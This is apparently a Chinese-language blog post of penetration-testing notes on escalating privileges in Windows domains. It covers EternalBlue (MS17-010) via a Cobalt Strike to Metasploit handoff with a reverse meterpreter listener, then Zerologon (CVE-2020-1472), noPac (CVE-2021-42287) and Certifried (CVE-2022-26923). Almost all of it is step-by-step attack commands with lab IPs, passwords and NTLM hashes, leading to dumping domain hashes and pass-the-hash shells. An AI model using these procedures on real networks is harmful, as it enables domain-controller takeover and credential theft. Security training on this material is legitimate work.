域内提权

CVE-2017-0146

CVE-2017-0146(MS17010)
Windows 7 8.1 10; Windows Server 2008 2012 2016;
-插件检测-横向移动
-CS联动MSF-检测&利用
1、CS创建外联监听器
2、CS执行联动MSF
msf-ip 8888
spawn msf
3、MSF监听联动配置
use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost 0.0.0.0
set lport 8888
run
4、添加路由
run autoroute -p //查看当前路由表
run post/multi/manage/autoroute //添加当前路由表
5、检测模块
use auxiliary/scanner/smb/smb_ms17_010
set rhosts 192.168.3.21-32 //设置扫描目标段
set threads 5 //设置扫描线程数
run
6、利用模块
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp //正向连接上线
set rhost 192.168.3.25 //设置连接目标
set rhosts 192.168.3.25 //设置扫描目标
run

横向移动-域控提权-CVE-2020-1472

Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
Windows Server 2012
Windows Server 2012 (Server Core installation)
Windows Server 2012 R2
Windows Server 2012 R2 (Server Core installation)
Windows Server 2016
Windows Server 2016 (Server Core installation)
Windows Server 2019
Windows Server 2019 (Server Core installation)
Windows Server, version 1903 (Server Core installation)
Windows Server, version 1909 (Server Core installation)
Windows Server, version 2004 (Server Core installation)

重置密码:
https://github.com/dirkjanm/CVE-2020-1472
恢复密码:
https://github.com/risksense/zerologon
https://github.com/SecureAuthCorp/impacket
0、获取计算机名:
nbtscan -v -h 192.168.3.21
1、连接DC清空凭证:
proxychains python cve-2020-1472-exploit.py OWA2010CN-GOD 192.168.3.21
2、获取域内HASH:
proxychains python secretsdump.py OWA2010CN-GOD$@192.168.3.21 -just-dc -no-pass
3、连接域控PTH:
python wmiexec.py -hashes :ccef208c6485269c20db2cad21734fe7 god/administrator@192.168.3.21
4、后续恢复密码:

横向移动-域控提权-CVE-2021-42287

前提条件:一个域内普通账号
影响版本:Windows基本全系列
https://github.com/cube0x0/noPac
https://learn.microsoft.com/zh-cn/sysinternals/downloads/pstools
前置:
1、代理后:
修改Host绑定域名和IP
2、扫描探针:
noPac scan -domain god.org -user webadmin -pass admin!@#45
3、利用连接:
noPac -domain god.org -user webadmin -pass admin!@#45 /dc owa2010cn-god.god.org /mAccount dadd /mPassword sdadasdsa /service cifs /ptt
PsExec \owa2010cn-god.god.org cmd
https://github.com/WazeHell/sam-the-admin
python sam_the_admin.py god/'webadmin:admin!@#45' -dc-ip 192.168.3.21 -shell

横向移动-域控提权-CVE-2022-26923

当Windows系统的Active Directory证书服务(CS)在域上运行时,由于机器账号中的dNSHostName属性不具有唯一性,域中普通用户可以将其更改为高权限的域控机器账号属性,然后从Active Directory证书服务中获取域控机器账户的证书,导致域中普通用户权限提升为域管理员权限。
影响:Win8.1、Win10、Win11、WinServer2012R2、WinServer2016、WinServer2019、WinServer2022等版本
前提条件:
1、一个域内普通账号
2、域内存在证书服务器
Kali添加访问域内信息 /etc/hosts
192.168.1.15 xiaodi.local
192.168.1.15 xiaodi-WIN-3C7SS32SQ6R-CA
192.168.1.15 WIN-3C7SS32SQ6R.xiaodi.local

获取CA结构名和计算机名
certutil -config - -ping
域内信息
192.168.1.15
test Pass123
xiaodi-WIN-3C7SS32SQ6R-CA
WIN-3C7SS32SQ6R.xiaodi.local

1、申请低权限用户证书:
certipy req 'xiaodi.local/test:Pass123@WIN-3C7SS32SQ6R.xiaodi.local' -ca xiaodi-WIN-3C7SS32SQ6R-CA -template User -debug
2、检测证书
certipy auth -pfx test.pfx
3、创建一个机器账户:
python3 bloodyAD.py -d xiaodi.local -u test -p 'Pass123' --host 192.168.1.15 addComputer pwnmachine 'CVEPassword1234'
4、设置机器账户属性(dNSHostName和DC一致):
python3 bloodyAD.py -d xiaodi.local -u test -p 'Pass123' --host 192.168.1.15 setAttribute 'CN=pwnmachine,CN=Computers,DC=xiaodi,DC=local' dNSHostName '["WIN-3C7SS32SQ6R.xiaodi.local"]'
5、再次申请证书:
certipy req 'xiaodi.local/pwnmachine$:CVEPassword1234
@192.168.1.15' -template Machine -dc-ip 192.168.1.15 -ca xiaodi-WIN-3C7SS32SQ6R-CA
6、检测证书:
certipy auth -pfx ./win-3c7ss32sq6r.pfx -dc-ip 192.168.1.15
7、导出HASH:
python3 secretsdump.py 'xiaodi.local/win-3c7ss32sq6r$@WIN-3C7SS32SQ6R.xiaodi.local' -hashes :10e02bef2258ad9b239e2281a01827a4
8、利用HASH:
python3 wmiexec.py xiaodi.local/administrator@192.168.1.15 -hashes aad3b435b51404eeaad3b435b51404ee:e6f01fc9f2a0dc96871220f7787164bd

posted @ 2022-10-09 21:42  Ray言午  阅读(199)  评论(0编辑  收藏  举报